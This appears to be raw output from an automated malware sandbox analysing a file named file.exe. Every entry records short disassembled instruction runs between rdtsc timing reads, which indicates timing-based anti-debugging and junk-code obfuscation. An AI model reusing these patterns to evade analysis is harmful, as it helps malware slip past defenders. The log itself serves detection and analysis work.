Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8488E5 second address: 848901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F27CCB240E1h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 848901 second address: 84891B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F27CD375EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F27CD375EEEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8495C1 second address: 8495DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CCB240E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CF64 second address: 84CF9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F27CD375EF7h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F27CD375EF4h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CF9E second address: 84CFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CFA2 second address: 84CFA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84CFA6 second address: 84CFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F27CCB240D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85672B second address: 856747 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b js 00007F27CD375EE6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856747 second address: 85675F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F27CCB240E1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859905 second address: 85990B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85990B second address: 859922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CCB240DCh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859922 second address: 85992B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AF02 second address: 86AF06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AF06 second address: 86AF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F27CD375EE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d ja 00007F27CD375EE6h 0x00000013 jg 00007F27CD375EE6h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007F27CD375EF5h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADAF second address: 86ADB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADB9 second address: 86ADD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F27CD375EF4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADD6 second address: 86ADE0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F27CCB240D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADE0 second address: 86ADE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADE5 second address: 86ADEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86ADEB second address: 86ADF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D108 second address: 86D13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F27CCB240E4h 0x0000000a jnc 00007F27CCB240DEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F27CCB240DBh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CC27 second address: 86CC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8863AF second address: 8863B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8863B3 second address: 8863E2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F27CD375EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F27CD375EF7h 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F27CD375EE6h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8863E2 second address: 8863E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886582 second address: 886588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886816 second address: 88681C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886AEF second address: 886B0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F27CD375EF2h 0x00000011 jc 00007F27CD375EE6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886B0D second address: 886B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 886B11 second address: 886B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EF4h 0x00000009 jmp 00007F27CD375EF2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8870DB second address: 8870E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8870E3 second address: 88711E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CD375EF6h 0x00000009 jmp 00007F27CD375EF0h 0x0000000e jbe 00007F27CD375EE6h 0x00000014 popad 0x00000015 popad 0x00000016 jnp 00007F27CD375EF6h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88711E second address: 887126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888BAA second address: 888BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 je 00007F27CD375EEEh 0x0000000d jc 00007F27CD375EE6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888A4E second address: 888A6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888A6C second address: 888A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CD375EEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88B595 second address: 88B599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88B599 second address: 88B59F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88B59F second address: 88B5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CE5F second address: 88CE65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CE65 second address: 88CE69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CE69 second address: 88CE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F27CD375EF2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CE77 second address: 88CE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0375 second address: 49F037B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F037B second address: 49F0381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0381 second address: 49F03F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F27CD375EF8h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F27CD375EECh 0x00000018 sbb si, BA48h 0x0000001d jmp 00007F27CD375EEBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F27CD375EF8h 0x00000029 adc esi, 0EC6FCA8h 0x0000002f jmp 00007F27CD375EEBh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03F0 second address: 49F046E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d pushad 0x0000000e call 00007F27CCB240E6h 0x00000013 pop eax 0x00000014 push edx 0x00000015 pop ecx 0x00000016 popad 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F27CCB240E6h 0x00000021 and cx, E3C8h 0x00000026 jmp 00007F27CCB240DBh 0x0000002b popfd 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F27CCB240E0h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F046E second address: 49F047D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0F4A second address: 49D0F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 90h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00ED second address: 49B00F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00F1 second address: 49B00F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00F7 second address: 49B0129 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 pushfd 0x00000006 jmp 00007F27CD375EEEh 0x0000000b adc esi, 2BDB8F78h 0x00000011 jmp 00007F27CD375EEBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push dword ptr [ebp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0129 second address: 49B012F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B012F second address: 49B0135 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0135 second address: 49B016D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F27CCB240DDh 0x00000014 add esi, 1B3FCAC6h 0x0000001a jmp 00007F27CCB240E1h 0x0000001f popfd 0x00000020 mov bx, si 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B016D second address: 49B0173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0173 second address: 49B0177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0177 second address: 49B0195 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0195 second address: 49B01B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01DD second address: 49B01E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01E2 second address: 49B0203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ah 0x00000005 mov di, 5570h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F27CCB240E2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D096F second address: 49D0975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0975 second address: 49D0979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D081E second address: 49D0824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0824 second address: 49D082A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D082A second address: 49D082E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D082E second address: 49D0832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0832 second address: 49D0841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0841 second address: 49D0845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0845 second address: 49D0856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D050A second address: 49D0517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0517 second address: 49D052C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20019 second address: 4A20036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20036 second address: 4A2003C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2003C second address: 4A20040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20040 second address: 4A20044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20044 second address: 4A20095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F27CCB240E6h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F27CCB240E0h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F27CCB240E0h 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F27CCB240DAh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20095 second address: 4A200A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A200A4 second address: 4A200BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CCB240E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A200BC second address: 4A200C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06DB second address: 49D06E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06E1 second address: 49D0713 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 1563h 0x00000007 mov di, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F27CD375EF2h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F27CD375EEDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0713 second address: 49D0728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0728 second address: 49D072E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D072E second address: 49D075C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F27CCB240DFh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F27CCB240E0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D075C second address: 49D076B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D076B second address: 49D079F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F27CCB240DFh 0x00000009 or cx, 305Eh 0x0000000e jmp 00007F27CCB240E9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D079F second address: 49D07BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F27CD375EF3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F021A second address: 49F024C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F27CCB240E7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F024C second address: 49F0289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f call 00007F27CD375EF8h 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0289 second address: 49F029A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F029A second address: 49F029E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F029E second address: 49F02A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02A2 second address: 49F02A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02A8 second address: 49F02C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F27CCB240DAh 0x00000008 mov ah, B8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov si, 3625h 0x00000016 push ecx 0x00000017 pop edx 0x00000018 popad 0x00000019 rdtsc
